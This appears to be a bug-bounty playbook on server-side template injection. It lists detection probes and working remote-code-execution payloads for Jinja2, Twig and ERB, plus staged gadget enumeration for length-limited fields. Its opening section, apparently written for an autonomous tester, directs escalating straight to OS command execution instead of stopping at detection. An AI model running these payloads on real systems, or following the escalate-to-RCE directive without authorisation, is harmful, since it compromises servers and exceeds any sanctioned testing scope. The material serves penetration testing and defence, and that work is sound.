hunt-ssti

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Autonomous Testing Priority

Escalate straight to RCE — don't stop at arithmetic detection.

Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.

Order of attack:

1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):

   {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   

2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:

   Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   

   JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).
3. If Jinja2 fails, try Twig (PHP/Symfony): {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a <div> or <pre>), that still counts — the format is irrelevant, the content is the evidence.

14. SSTI — SERVER-SIDE TEMPLATE INJECTION

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full os.popen one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX] ('id',shell=True,stdout=-1).communicate() }}

The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:

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